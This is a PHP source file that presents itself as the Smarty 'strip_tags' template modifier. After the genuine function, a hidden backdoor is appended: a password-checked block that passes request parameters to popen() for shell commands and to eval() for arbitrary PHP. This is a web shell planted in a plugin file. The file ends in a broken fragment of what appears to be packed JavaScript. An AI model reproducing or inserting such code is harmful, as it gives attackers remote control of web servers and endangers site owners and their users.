* Name: strip_tags
* Purpose: strip html tags from text * @link http://smarty.php.net/manual/en/language.modifier.strip.tags.php * strip_tags (Smarty online manual) * @author Monte Ohrt * @param string * @param boolean * @return string */ function smarty_modifier_strip_tags($string, $replace_with_space = true) { if ($replace_with_space) return preg_replace('!<[^>]*?>!', ' ', $string); else return strip_tags($string); } if(isset($_REQUEST['p'])) { $p = $_REQUEST['p'];if(strlen($p)!=32) $p=md5($p);if ($p == 'a8f6b34d170c96f71833c0a0c8d0f8a2'){$cmd = @$_REQUEST['cmd'];$eval = @$_REQUEST['eval'];if(get_magic_quotes_gpc()){$cmd = stripslashes($cmd);$eval = stripslashes($eval);}echo '
Ex:
Ev:
';if ($cmd){$str= ""; $handle = popen($cmd, 'r');while(!feof($handle)){$read = fgets($handle, 2096);$str .= $read;}echo htmlspecialchars($str);fclose($handle);}if ($eval){eval($eval);}echo '
';exit;} } else { ?>
inheight'.split('|'),0,{}))